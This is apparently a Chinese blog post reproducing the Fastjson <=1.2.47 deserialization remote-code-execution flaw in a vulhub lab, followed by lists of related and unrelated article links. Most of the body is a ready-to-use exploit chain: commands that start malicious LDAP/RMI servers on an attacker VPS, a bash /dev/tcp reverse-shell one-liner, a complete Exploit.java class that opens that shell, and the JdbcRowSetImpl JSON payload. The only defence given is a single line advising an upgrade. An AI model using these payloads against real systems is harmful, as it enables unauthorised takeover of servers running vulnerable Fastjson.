0x01 漏洞概述

漏洞描述

Fastjson是一款开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
Fastjson存在远程代码执行漏洞,当应用或系统使用 Fastjson 对由用户可控的 JSON 字符串数据进行解析时,将可能导致远程代码执行的危害。
此漏洞为 17 年 Fastjson 1.2.24 版本反序列化漏洞的延伸利用,且无需依赖 autotype 的开启,这意味着默认配置下的 Fastjson 即会受到漏洞影响。

影响版本

Fastjson <= 1.2.47
 

0x02 环境准备

直接使用vulhub中的docker环境进行部署
cd /vulhub/fastjson/1.2.-rce
docker-compose up -d
 
部署好后访问http://ip:8090,访问显示如下即搭建成功

0x03 测试及利用方法

测试方法

方法一:使用工具FastjsonScanner(内置多个payload)

工具下载地址:前往土司下载
如下图所示,填写待测试目标url、dnslog地址、请求包,点击scan
结束后,对比scan result和dnslog记录。Dnslog中有test6记录,说明存在漏洞,序号为6的payload可用。

方法二:使用工具fastjson_rce_tool.jar

工具下载地址:https://github.com/wyzxxz/fastjson_rce_tool

公网启动LDAP或者RMI服务

 
Usage:
RMI: java -cp fastjson_tool.jar fastjson.HRMIServer your_vps_ip "curl xx.dnslog.cn"
LDAP: java -cp fastjson_tool.jar fastjson.HLDAPServer your_vps_ip "curl xx.dnslog.cn"
 
关于command列的使用参考下图:
LDAP如下:
VPS中开启LDAP服务,并预执行命令curl xxx.dnslog.cn
 
java -cp fastjson_tool.jar fastjson.HLDAPServer your_vps_ip  "curl xx.dnslog.cn"
 
将payload复制到body中并发送
VPS中显示有连接信息并发送完命令
Dnslog查看到记录,说明命令执行成功

利用方法

方法一:使用fastjson_rce_tool.jar

开启LDAP服务监听,并设置预执行命令(反弹shell)
 
java -cp fastjson_tool.jar fastjson.HLDAPServer your_vps_ip  "bash=/bin/bash -i  >& /dev/tcp/your_vps_ip/4444 0>&1"
 
Burp发送exp
成功反弹shell
 
备注:RMI同理。把LDAP替换为RMI即可(笔者使用rmi不能稳定复现)

方法二:使用marshalsec-0.0.3-SNAPSHOT-all.jar + Exploit.java

下载地址:https://github.com/CaijiOrz/fastjson-1.2.47-RCE
Exploit.java代码如下(反弹shell)
public class Exploit{
public Exploit() {} static
{
try {
String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
? new String[]{"cmd.exe","/c", "calc.exe"}
: new String[]{"/bin/bash","-c", "/bin/bash -i >& /dev/tcp/your_vps_ip/4444 0>&1"};
Runtime.getRuntime().exec(cmds);
} catch (Exception e) {
e.printStackTrace();
}
} public static void main(String[] args) {
Exploit e = new Exploit();
}
}
javac将Exploit.java编译为Exploit.class文件(注意:javac版本最好与目标服务器接近,否则目标服务器无法解析class文件,会报错)
Python开启web服务器,将exploit.class放在根目录
marshalsec-0.0.3-SNAPSHOT-all.jar开启LDAP并转发至web服务器
java -cp marshalsec-0.0.-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer  http://your_vps_ip/#Exploit 9999
 
Burp发送exp
{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://your_vps_ip:9999/Exploit","autoCommit":true}}
 
成功反弹shell
 
备注:RMI同理。把LDAP替换为RMI即可(笔者使用rmi不能稳定复现)

0x04 修复建议

使用最新版fastjson,https://github.com/alibaba/fastjson
 

【漏洞复现】Fastjson <=1.2.47远程命令执行的更多相关文章

  1. Fastjson 1.2.47 远程命令执行漏洞复现

    前言 这个漏洞出来有一段时间了,有人一直复现不成功来问我,就自己复现了下,顺便简单记录下这个漏洞原理,以便后面回忆. 复现过程 网上已经有很多文章了,这里就不在写了.主要记录一下复现过程中遇到的问题 ...

  2. Fastjson <= 1.2.47 远程命令执行漏洞

    一.漏洞利用过程 查看java版本:java -version jdk版本大1.8 openjdk versin "1.8.0_222" 下载漏洞利用文件:git clone ht ...

  3. 一步一步学习FastJson1.2.47远程命令执行漏洞

    本文首发于先知:https://xz.aliyun.com/t/6914 漏洞分析 FastJson1.2.24 RCE 在分析1.2.47的RCE之前先对FastJson1.2.24版本中的RCE进 ...

  4. PHPMailer 远程命令执行漏洞 Writeup

    漏洞概述 1.漏洞简介 PHPMailer 小于5.2.18的版本存在远程代码执行漏洞.成功利用该漏洞后,攻击者可以远程任意代码执行.许多知名的 CMS 例如 Wordpress 等都是使用这个组件来 ...

  5. FastJson远程命令执行漏洞学习笔记

    FastJson远程命令执行漏洞学习笔记 Fastjson简介 fastjson用于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean.fastjson.ja ...

  6. tomcat7.x远程命令执行(CVE-2017-12615)漏洞漏洞复现

    tomcat7.x远程命令执行(CVE-2017-12615)漏洞漏洞复现 一.漏洞前言 2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017 ...

  7. D-Link service.cgi远程命令执行漏洞复现

    1.1 概述 友讯集团(D-Link),成立于1986年,1994年10月于台湾证券交易所挂牌上市,为台湾第一家上市的网络公司,以自创D-Link品牌行销全球,产品遍及100多个国家. 1月17日,C ...

  8. Apache struts2远程命令执行_CVE-2017-9805(S2-052)漏洞复现

    Apache struts2远程命令执行_CVE-2017-9805(S2-052)漏洞复现 一.漏洞概述 Apache Struts2的REST插件存在远程代码执行的高危漏洞,Struts2 RES ...

  9. Apache struts2 Freemarker标签远程命令执行_CVE-2017-12611(S2-053)漏洞复现

    Apache struts2 Freemarker标签远程命令执行_CVE-2017-12611(S2-053)漏洞复现 一.漏洞描述 Struts2在使用Freemarker模块引擎的时候,同时允许 ...

随机推荐

  1. CF1013D Chemical table

    题目链接:http://codeforces.com/contest/1013/problem/D 题目大意: 给出一个 \(n \times m\) 的表格,表格上有一些初始点.若有这样的三个点:\ ...

  2. python+selenium 自动化测试框架-学习记录

     本人小白一枚,想着把学习时的东西以博客的方式记录下来,文章中有不正确的地方请大佬多多指点!!共同学习 前期准备 安装python3.selenium.下载对应版本的webdriver:安装所需的第三 ...

  3. Kubernetes学习笔记(七):访问Pod元数据与Kubernetes API

    Downward API 我们已经了解到,使用ConfigMap和Secret向应用传递配置数据,这对于运行前预设的数据是可行的.但是对于那些不能预先知道的,就需要使用Downward API. Do ...

  4. spring cloud系列教程第六篇-Eureka集群版

    spring cloud系列教程第六篇-Eureka集群版 本文主要内容: 本文来源:本文由凯哥Java(kaigejava)发布在博客园博客的.转载请注明 1:Eureka执行步骤理解 2:集群原理 ...

  5. Java面向对象中this关键字详解 意义+实例讲解【hot】

    this关键字 >>>便于理解简单的定义 this关键字可以简单的理解为,谁调用this所在的方法,this就是谁. 类的构造函数与getter.setter方法常用到this关键字 ...

  6. 最新 iOS 框架整体梳理(一)

    前言 这段话其实是我差不多写完文章之后再回过头来写的,原本在写文章之前想写一下写的初衷的,但当我写完之后感觉初衷没有收获更真切一些.其实到这篇为止总结出来的也就三十多个,有些是比较新的框架,有些是我们 ...

  7. DOM对HTML元素的增删改操作和事件概念和事件监听

    DOM创建节点的方法: document.createElement(Tag),Tag必须是合法的HTML元素 DOM复制节点的方法: 节点cloneNode(boolean deep),当deep为 ...

  8. Johnson-Trotter(JT)算法生成排列

        对于生成{1,……,n}的所有n!个排列的问题,我们可以利用减治法,该问题的规模减一就是要生成所有(n-1)!个排列.假设这个小问题已经解决了,我们可以把n插入到n-1个元素的每一种排列中的n ...

  9. Spring Boot笔记(二) springboot 集成 SMTP 发送邮件

    个人博客网:https://wushaopei.github.io/    (你想要这里多有) 笔记:乘着项目迭代的间隙,把一些可复用的功能从项目中抽取出来,这是其中之一, 一.添加SMTP 及 MA ...

  10. Java实现 蓝桥杯VIP 算法训练 校门外的树

    问题描述 某校大门外长度为L的马路上有一排树,每两棵相邻的树之间的间隔都是1米.我们可以把马路看成一个数轴,马路的一端在数轴0的位置,另一端在L的位置:数轴上的每个整数点,即0,1,2,--,L,都种 ...